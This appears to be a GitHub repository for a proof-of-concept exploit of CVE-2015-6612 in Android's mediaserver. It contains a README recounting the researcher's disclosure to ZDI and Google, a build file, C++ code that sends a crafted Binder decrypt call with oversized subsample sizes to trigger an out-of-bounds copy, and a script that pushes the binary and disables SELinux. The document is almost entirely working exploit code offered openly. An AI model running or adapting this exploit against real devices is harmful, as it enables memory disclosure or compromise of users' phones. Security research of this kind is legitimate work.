├── README.md ├── description.pdf └── poc ├── Android.mk ├── service.cpp └── test.sh /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2015-6612 2 | The detail of the vulnerability please refer to description.pdf 3 | My sad story about this bug: 4 | I repoted this issue to ZDI last March, at the beginning, they said they couldn't reproduce it in the latest Android, after half a month comunication, they decided not to pursue acquisition of the bug. 5 | Holded this bug for a long time, and I reported it to Google at Aug 21, 2015, but it become a duplicated issue. 6 | https://code.google.com/p/android/issues/detail?id=183414 7 | the funny thing is it's duplicated with the issue reported at Aug 23, 2015, which is ANDROID-23540426 8 | https://groups.google.com/forum/#!topic/android-security-updates/GwZn7sixask 9 | I don't know how the hell Google calculated the data, just release the PoC for fun. 10 | 11 | -------------------------------------------------------------------------------- /description.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/secmob/CVE-2015-6612/6a0f4af26fe60d712a2adecbde0a66e4bd4f10e4/description.pdf -------------------------------------------------------------------------------- /poc/Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH:= $(call my-dir) 2 | include $(CLEAR_VARS) 3 | 4 | LOCAL_SRC_FILES:= \ 5 | service.cpp \ 6 | 7 | LOCAL_C_INCLUDES += external/stlport/stlport/ \ 8 | bionic \ 9 | bionic/libstdc++/include \ 10 | frameworks/av/include/ndk \ 11 | frameworks/av/include/media/stagefright/foundation/ \ 12 | frameworks/av/include/media/stagefright/ \ 13 | LOCAL_SHARED_LIBRARIES += libutils libbinder libmedia libcutils libgui libmediandk libstagefright libstagefright_foundation 14 | #LOCAL_STATIC_LIBRARIES += libmediandk 15 | LOCAL_LDLIBS += -lmediandk -lutils -lbinder -lmedia -lstagefright -lstagefright_foundation 16 | 17 | ifeq ($(TARGET_OS),linux) 18 | LOCAL_CFLAGS += -DXP_UNIX 19 | #LOCAL_SHARED_LIBRARIES += librt 20 | endif 21 | 22 | LOCAL_CFLAGS += -O0 23 | CFLAGS += -S 24 | 25 | LOCAL_MODULE:= servicefuzz 26 | 27 | include $(BUILD_EXECUTABLE) 28 | -------------------------------------------------------------------------------- /poc/service.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | extern "C"{ 16 | #include 17 | #include 18 | } 19 | #include 20 | #include "AString.h" 21 | #include "MediaErrors.h" 22 | 23 | 24 | using namespace android; 25 | 26 | 27 | static const uint8_t kClearKeyUUID[16] = { 28 | 0x10,0x77,0xEF,0xEC,0xC0,0xB2,0x4D,0x02, 29 | 0xAC,0xE3,0x3C,0x1E,0x52,0xE2,0xFB,0x4B 30 | }; 31 | struct AMediaCrypto { 32 | sp mCrypto; 33 | }; 34 | sp getICrypto(){ 35 | 36 | bool isSupport=AMediaDrm_isCryptoSchemeSupported(kClearKeyUUID,NULL); 37 | if(!isSupport){ 38 | printf("don't support clearkey\n"); 39 | return NULL; 40 | } 41 | AMediaDrm* mediaDrm = AMediaDrm_createByUUID(kClearKeyUUID); 42 | AMediaDrmSessionId sessionId; 43 | memset(&sessionId,0,sizeof(sessionId)); 44 | media_status_t status = AMediaDrm_openSession(mediaDrm,&sessionId); 45 | if(status != AMEDIA_OK){ 46 | printf("open session failed\n"); 47 | return NULL; 48 | } 49 | printf("id %s len is %d\n",sessionId.ptr,sessionId.length); 50 | AMediaCrypto* mediaCrypto = AMediaCrypto_new(kClearKeyUUID, sessionId.ptr, sessionId.length); 51 | //AMediaCrypto* mediaCrypto = AMediaCrypto_new(kClearKeyUUID, "aa", 2);//DoS 52 | if(mediaCrypto==NULL){ 53 | printf("create media crypto failed\n"); 54 | return NULL; 55 | } 56 | return mediaCrypto->mCrypto; 57 | 58 | } 59 | ssize_t decrypt( 60 | bool secure, 61 | const uint8_t key[16], 62 | const uint8_t iv[16], 63 | CryptoPlugin::Mode mode, 64 | const void *srcPtr, 65 | const size_t totalSize, 66 | const CryptoPlugin::SubSample *subSamples, size_t numSubSamples, 67 | void *dstPtr, 68 | AString *errorDetailMsg, 69 | sp &crypto) { 70 | Parcel data, reply; 71 | data.writeInterfaceToken(crypto.get()->ICrypto::getInterfaceDescriptor()); 72 | data.writeInt32(secure); 73 | data.writeInt32(mode); 74 | 75 | static const uint8_t kDummy[16] = { 0 }; 76 | if (key == NULL) { 77 | key = kDummy; 78 | } 79 | if (iv == NULL) { 80 | iv = kDummy; 81 | } 82 | data.write(key, 16); 83 | data.write(iv, 16); 84 | 85 | /*size_t totalSize = 0; 86 | for (size_t i = 0; i < numSubSamples; ++i) { 87 | totalSize += subSamples[i].mNumBytesOfEncryptedData; 88 | totalSize += subSamples[i].mNumBytesOfClearData; 89 | }*/ 90 | 91 | data.writeInt32(totalSize); 92 | data.write(srcPtr, totalSize); 93 | 94 | data.writeInt32(numSubSamples); 95 | data.write(subSamples, sizeof(CryptoPlugin::SubSample) * numSubSamples); 96 | 97 | if (secure) { 98 | data.writeInt64(static_cast(reinterpret_cast(dstPtr))); 99 | } 100 | 101 | #define DECRYPT 6 102 | //crypto->asBinder()->transact(DECRYPT, data, &reply); 103 | IInterface::asBinder(crypto)->transact(DECRYPT, data, &reply); 104 | ssize_t result = reply.readInt32(); 105 | if (result >= ERROR_DRM_VENDOR_MIN && result <= ERROR_DRM_VENDOR_MAX) { 106 | errorDetailMsg->setTo(reply.readCString()); 107 | } 108 | if (!secure && result >= 0) { 109 | reply.read(dstPtr, result); 110 | } 111 | return result; 112 | } 113 | 114 | int main() 115 | { 116 | 117 | sp crypto = getICrypto(); 118 | if(crypto==NULL) 119 | exit(-1); 120 | 121 | bool isSupport = crypto->isCryptoSchemeSupported(kClearKeyUUID); 122 | printf("isSupport equal %d\n",isSupport); 123 | CryptoPlugin::SubSample subSamples[2]; 124 | subSamples[0].mNumBytesOfClearData=0xfff9000;//this value can controlled the size of data copied to destination buffer 125 | subSamples[0].mNumBytesOfEncryptedData=0; 126 | subSamples[1].mNumBytesOfClearData=0; 127 | subSamples[1].mNumBytesOfEncryptedData=9;//set this valule to no-zero to ensure media_server don't crash always. 128 | CryptoPlugin::Mode mode = (CryptoPlugin::Mode)0;//kMode_Unencrypted 129 | AString errMsg; 130 | char retBuffer[2000]; 131 | decrypt(false,NULL,NULL,mode,"aaaaa",3,subSamples,2,retBuffer,&errMsg,crypto);//3 is the allocated size of destination buffer 132 | return 0; 133 | } 134 | -------------------------------------------------------------------------------- /poc/test.sh: -------------------------------------------------------------------------------- 1 | mm 2 | adb push $TOP/out/target/product/hammerhead/symbols/system/bin/servicefuzz /data/local/tmp/servicefuzz 3 | if [ $# == 0 ]; then 4 | adb shell setenforce 0 5 | adb shell /data/local/tmp/servicefuzz 6 | else 7 | adb shell su -c setenforce 0 8 | adb shell su -c gdbserver :6666 /data/local/tmp/servicefuzz tt & 9 | adb forward tcp:5039 tcp:5039 10 | adb forward tcp:6666 tcp:6666 11 | gdbclient servicefuzz :6666 12 | fi 13 | --------------------------------------------------------------------------------